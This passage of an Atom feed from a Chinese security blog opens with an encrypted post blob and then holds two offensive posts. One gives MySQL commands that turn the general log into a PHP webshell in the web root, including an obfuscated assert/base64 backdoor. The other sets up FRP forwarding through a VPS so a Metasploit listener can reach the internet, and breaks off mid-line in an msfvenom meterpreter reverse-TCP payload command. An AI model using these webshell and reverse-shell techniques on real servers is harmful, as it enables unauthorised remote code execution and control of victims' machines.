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 </div>]]></content>
    
    <summary type="html">
    
      Welcome to my blog, enter password to read.
    
    </summary>
    
      <category term="shell" scheme="https://10o0.github.io/categories/shell/"/>
    
    
      <category term="shell" scheme="https://10o0.github.io/tags/shell/"/>
    
      <category term="应急响应" scheme="https://10o0.github.io/tags/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/"/>
    
  </entry>
  
  <entry>
    <title>MySQL&#39;s general-log shell</title>
    <link href="https://10o0.github.io/2018/06/04/MySQL&#39;s%20general-log%20shell/"/>
    <id>https://10o0.github.io/2018/06/04/MySQL&#39;s general-log shell/</id>
    <published>2018-06-04T02:52:12.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>MySQL ROOT:</p></blockquote><pre><code>show variables like &apos;%general%&apos;;set global general_log=&apos;on&apos;;SET global general_log_file=&apos;D:/phpStudy/WWW/cmd.php&apos;;SELECT &apos;&lt;?php assert($_POST[&quot;cmd&quot;]);?&gt;&apos;;SELECT &quot;&lt;?php $p = array(&apos;f&apos;=&gt;&apos;a&apos;,&apos;pffff&apos;=&gt;&apos;s&apos;,&apos;e&apos;=&gt;&apos;fffff&apos;,&apos;lfaaaa&apos;=&gt;&apos;r&apos;,&apos;nnnnn&apos;=&gt;&apos;t&apos;);$a = array_keys($p);$_=$p[&apos;pffff&apos;].$p[&apos;pffff&apos;].$a[2];$_= &apos;a&apos;.$_.&apos;rt&apos;;$_(base64_decode($_REQUEST[&apos;cmd&apos;]));?&gt;&quot;;set global general_log = off;</code></pre>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;MySQL ROOT:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;show variables like &amp;apos;%general%&amp;apos;;
set global general_log=&amp;apos;on&amp;apos;;
S
      
    
    </summary>
    
      <category term="shell" scheme="https://10o0.github.io/categories/shell/"/>
    
    
      <category term="mysql" scheme="https://10o0.github.io/tags/mysql/"/>
    
      <category term="shell" scheme="https://10o0.github.io/tags/shell/"/>
    
      <category term="log" scheme="https://10o0.github.io/tags/log/"/>
    
  </entry>
  
  <entry>
    <title>Frp结合VPS打造外网Meatsploit</title>
    <link href="https://10o0.github.io/2018/04/19/Frp%EF%BC%8BVPS%E6%89%93%E9%80%A0%E5%A4%96%E7%BD%91Meatsploit/"/>
    <id>https://10o0.github.io/2018/04/19/Frp＋VPS打造外网Meatsploit/</id>
    <published>2018-04-19T03:04:54.000Z</published>
    <updated>2018-07-26T07:38:15.240Z</updated>
    
    <content type="html"><![CDATA[<hr><ul><li><strong>前言：</strong></li></ul><p>本来一开始是在Vps上直接安装的MSF,想安装的可以试试，附一键脚本：</p><pre><code>curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb &gt; msfinstallchmod 755 msfinstall &amp;&amp; ./msfinstall</code></pre><a id="more"></a><p>可以用，但是总是时不时崩溃（可能是配置太低），烦的一pi.<br>然后就去Google找到了ngrok的端口转发教程。试了下，可以用，不过用起来反应很慢，时不时还掉线，尼玛啊，最坑的是有的平台（VIP是不可能开的，这辈子都不可能）不能固定外网端口，启动一次客户端就换一个端口，每次都要改Payload，费劲。<br>然后试了下用Frp来转发，相比起来简直不要太爽。</p><p> <strong>1. 准备工作：</strong></p><blockquote><p>VPS一台<br>FRP  ##下载地址：<a href="https://github.com/fatedier/frp/releases（根据自己的VPS选择对应的版本）" target="_blank" rel="noopener">https://github.com/fatedier/frp/releases（根据自己的VPS选择对应的版本）</a></p></blockquote><p> <strong>２.安装步骤：</strong><br><strong>在VPS上执行（我的是Centos x64）：</strong></p><pre><code>wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz ##下载frptar -zxvf frp_0.16.1_linux_amd64.tar.gz ##解压 cd frp_0.16.1_linux_amd64rm frpc&amp;&amp;rm frpc.ini  ##这个是客户端文件，用不上，删不删随意。./frps -c frps.ini　　##默认配置文件启动服务端。</code></pre><p><strong>在自己电脑执行（我的是KALi x64）:</strong></p><pre><code>wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz ##下载frptar -zxvf frp_0.16.1_linux_amd64.tar.gz ##解压 cd frp_0.16.1_linux_amd64rm frps&amp;&amp;rm frps.ini  ##这个是服务端文件，用不上，删不删随意。./frpc -c frpc.ini　　##使用配置文件启动客户端。</code></pre><p> 注意frpc.ini配置文件内容（<a href="https://github.com/fatedier/frp/blob/master/README_zh.md#%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6" target="_blank" rel="noopener">详细参考</a>）：</p><pre><code>[common]server_addr = *.*.*.*  ##VPS的IP地址server_port = 7000[msf]type = tcp　　　　　##协议local_ip = *.*.*.*  ##本地内网主机IP。local_port = 4444　 ##本地MSF监听的端口remote_port = 8011  ##Payload设置的LPORT端口,LHOST为VPS的IP。</code></pre><p>Payload生成实例：</p><pre><code>$ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=VPS的IP lport=8011 -f 